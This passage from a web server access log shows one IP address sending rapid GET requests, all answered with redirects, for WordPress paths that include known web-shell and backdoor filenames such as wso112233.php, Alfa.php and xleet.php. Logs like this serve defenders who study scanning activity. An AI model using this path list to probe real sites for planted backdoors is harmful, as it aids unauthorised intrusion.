[11/Apr/2025:14:56:48 -0400] "GET /user-edit.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:49 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/jasmine.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:49 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:49 -0400] "GET /wp-links.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:49 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:49 -0400] "GET /wp-content/plugins/backup-backup/includes/1a895fa06f.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:50 -0400] "GET /wp-content/plugins/vslnxrk/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:50 -0400] "GET /wp-includes/customize/class-wp-customize-sidebar-secure.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:50 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:50 -0400] "GET /.well-known/zxhfwqyt.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:51 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:51 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:51 -0400] "GET /wp-content/uploads/2014/03/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:51 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:51 -0400] "GET /print/bkindex.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:52 -0400] "GET /authorize.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:52 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:52 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:52 -0400] "GET /wp-includes/customize/chosen.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:53 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:53 -0400] "GET /notifications.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:53 -0400] "GET /assets/fonts/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:53 -0400] "GET /wp-admin/js/wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:54 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:54 -0400] "GET /wp-content/plugins/6i85g10k/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:54 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:54 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:54 -0400] "GET /comment.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:55 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:55 -0400] "GET /wp-includes/blocks/block/moon.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:55 -0400] "GET /wp-admin HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:55 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:56 -0400] "GET /wp-includes/css/dist/edit-site/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:56 -0400] "GET /crop.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:57 -0400] "GET /wp-content/plugins/erin/yani/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:57 -0400] "GET /config_load.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:57 -0400] "GET /wp-content/plugins/about HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:57 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:57 -0400] "GET /.well-known/uploads HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:58 -0400] "GET /wp-content/plugins/vmgbzgi/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:58 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:58 -0400] "GET /wp-includes/log404.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:58 -0400] "GET /wp-content/themes/onum-child/custom-templates/dir/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:59 -0400] "GET /wp-theme.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:59 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:59 -0400] "GET /wp-admin/themes HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:59 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:56:59 -0400] "GET /wp-content/themes/9rafadt6/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:00 -0400] "GET /wp-content/plugins/wp-db-ajax-made/wp-ajax.php/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:00 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:00 -0400] "GET /pdf.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:00 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:00 -0400] "GET /wp-content/plugins/yyobang/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:01 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:01 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:01 -0400] "GET /maintenance.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:01 -0400] "GET /wp-admin/user/1.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:02 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:02 -0400] "GET /wp-includes/js/tinymce/wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:02 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:03 -0400] "GET /wp-includes/blocks/heading/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:03 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:03 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:04 -0400] "GET /wp-content/themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:04 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:04 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:05 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:05 -0400] "GET /wp-content/plugins/sid/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:05 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:05 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:06 -0400] "GET /assets/images/tinyimg.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:06 -0400] "GET /.well-known/wso.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:06 -0400] "GET /wp-includes/Cez57/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:07 -0400] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:07 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:07 -0400] "GET /.well-known/pki-validation/themes.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:08 -0400] "GET /wp-content/plugins/WordPressCore/swvhvgnq.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:08 -0400] "GET /.well-known/init HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:08 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:09 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:09 -0400] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:09 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:10 -0400] "GET /DxHhVcy2bmJ.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:10 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:10 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:11 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:11 -0400] "GET /reset.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:11 -0400] "GET /wp-includes/js/dist/vendor/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:11 -0400] "GET /wp-content/themes/7nd9yzxp/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:12 -0400] "GET /wp-content/plugins/dmozhzr/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:12 -0400] "GET /ds.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:12 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:13 -0400] "GET /assets/wp-blog.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:13 -0400] "GET /wp-content/plugins/background-image-cropper/ups.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:14 -0400] "GET /wp-content/plugins/dfgs/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:14 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:14 -0400] "GET /wp-content/uploads/option.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:15 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:15 -0400] "GET /faq.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:15 -0400] "GET /wp-content/plugins/cifkpgk/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:15 -0400] "GET /ggfi.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:16 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:16 -0400] "GET /wp/wp-content/themes/w695elkq/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:16 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:17 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:17 -0400] "GET /wp-admin/themes/about HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:17 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:19 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:19 -0400] "GET /wp-content/upgrade/upfile.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:20 -0400] "GET /oauth.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:20 -0400] "GET /wp-content/berlin.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:22 -0400] "GET /plugins/broken-link-checker/core/utils/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:22 -0400] "GET /wp-content/plugins/qdcitph/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:22 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:23 -0400] "GET /wp-includes/blocks/sx.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:23 -0400] "GET /wp-includes/bmccxior.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:23 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:24 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:24 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:25 -0400] "GET /wp-includes/widgets/class-wp-widget-tag.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:25 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:25 -0400] "GET /plugins/background-image-cropper/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:26 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:26 -0400] "GET /wp-admin/js/widgets/xleet.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:27 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:28 -0400] "GET /wp-content/plugins/contact-form-7-to-database-extension/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:28 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:29 -0400] "GET /wp-content/plugins/erfdsxx/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:29 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:29 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:30 -0400] "GET /.well-known/acme-challenge/wp-login.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:30 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:30 -0400] "GET /wp-content/plugins/dzs-zoomsounds/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:31 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:31 -0400] "GET /.well-known/plugins HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:31 -0400] "GET /wp-content/uploads/setup HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:31 -0400] "GET /wordpress/wp-content/plugins/pkghsb/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:32 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:32 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:32 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:32 -0400] "GET /wp-includes/SimplePie/HdGGN/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:32 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:33 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:33 -0400] "GET /wp-content/uploads/2023/08/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:33 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:33 -0400] "GET /home/cloud.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:33 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:34 -0400] "GET /wp-content/plugins/upboxtn/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:34 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:34 -0400] "GET /wp-includes/css.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:35 -0400] "GET /gzak2w.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:35 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:35 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:36 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:36 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:36 -0400] "GET /wp/wp-admin/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:36 -0400] "GET /blog/blog.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:37 -0400] "GET /wp-admin/themes/config HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:37 -0400] "GET /xox.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:37 -0400] "GET /wp-content/plugins/efhkgws/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:37 -0400] "GET /Alfa.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:37 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:38 -0400] "GET /components/com_jea/views/form/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:38 -0400] "GET /wp-content/plugins/eblovwl/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:38 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:38 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:39 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:39 -0400] "GET /wp-content/plugins/press/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:39 -0400] "GET /wp-content/plugins/dapeasyinstaller/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:39 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:40 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:40 -0400] "GET /wp-includes/random_compat/bala.php/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:40 -0400] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:40 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:41 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:41 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:41 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:41 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:42 -0400] "GET /wp-includes/rest-api/sx.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:42 -0400] "GET /media-new.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:42 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:43 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:43 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:43 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:43 -0400] "GET /test/essexec.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:43 -0400] "GET /wp-content/themes/hideo/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:44 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:44 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:44 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:45 -0400] "GET /wp-content/updraft/themes.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:45 -0400] "GET /wp-content/plugins/dclxurc/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:45 -0400] "GET /wp-content/plugins/df2xx/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:45 -0400] "GET /yanz.php/wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:46 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:46 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:46 -0400] "GET /modules/mod_ariimageslidersa/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:46 -0400] "GET /api_upload.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:46 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:47 -0400] "GET /wp-content/plugins/pxgpozm/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:47 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:47 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:47 -0400] "GET /restore.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:47 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:48 -0400] "GET /home/bmlfvgdl.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:48 -0400] "GET /wp-content/themes/kzdx3sro/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:48 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:49 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:49 -0400] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:49 -0400] "GET /worm3.PhP7 HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:49 -0400] "GET /wp-content/plugins/TOPXOH/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:50 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:50 -0400] "GET /cgi-bin/sx.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:50 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:50 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:51 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:51 -0400] "GET /wp-content/sx.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:51 -0400] "GET /sql_editor.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:51 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:51 -0400] "GET /change_password.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:52 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:52 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:52 -0400] "GET /wp-admin/smaxx.php HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:52 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:53 -0400] "GET /wp-content/themes/index HTTP/1.1" 301 795 "-" "-" 137.135.82.75 - - [11/Apr/2025:14:57:53 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" 